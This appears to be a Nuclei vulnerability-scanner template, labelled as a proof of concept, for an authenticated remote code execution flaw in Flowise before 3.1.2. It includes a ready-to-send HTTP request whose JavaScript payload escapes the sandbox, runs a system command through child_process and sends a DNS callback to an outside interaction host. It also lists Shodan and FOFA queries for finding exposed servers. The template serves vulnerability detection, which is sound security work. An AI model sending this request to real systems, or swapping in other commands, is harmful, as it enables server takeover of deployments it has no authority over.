Flowise is a drag & drop user interface to build a customized large language model flow. Prior to version 3.1.2, POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process. The result is authenticated remote code execution on the Flowise server host. This issue has been patched in version 3.1.2.
PoC
id: CVE-2026-46442
info:
name: Flowise < 3.1.2 - node-custom-function Unauthorized RCE
author: DhiyaneshDk,princechaddha
severity: critical
description: |
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to version 3.1.2, POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process. The result is authenticated remote code execution on the Flowise server host. This issue has been patched in version 3.1.2.
impact: |
Authenticated attackers can execute arbitrary system commands on the Flowise server, leading to full server compromise.
remediation: |
Update to version 3.1.2 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-46442
- https://github.com/FlowiseAI/Flowise
- https://github.com/FlowiseAI/Flowise/security/advisories
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.9
cve-id: CVE-2026-46442
cwe-id: CWE-78
epss-score: 0.03414
epss-percentile: 0.8855
cpe: cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*
metadata:
verified: false
max-request: 2
vendor: flowiseai
product: flowise
shodan-query: http.title:"Flowise"
fofa-query: title="Flowise"
tags: cve,cve2026,flowise,cmdi,rce,oob,vkev
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: body
words:
- "Flowise"
internal: true
- raw:
- |
POST /api/v1/node-custom-function HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
x-request-from: internal
{"functionBody":"require('child_process').execSync('nslookup {{interactsh-url}}');return '';","nodeData":{"inputs":{}}}
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
# digest: 4b0a004830460221009e3555d7f332b99f236514288c7e596466592ac139d69706344eaa8c5f14f2c1022100dcf69af7b45d73aa0c808b0239b9a4bba1b27ab1c52419f83d9f324f63fa9abc:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.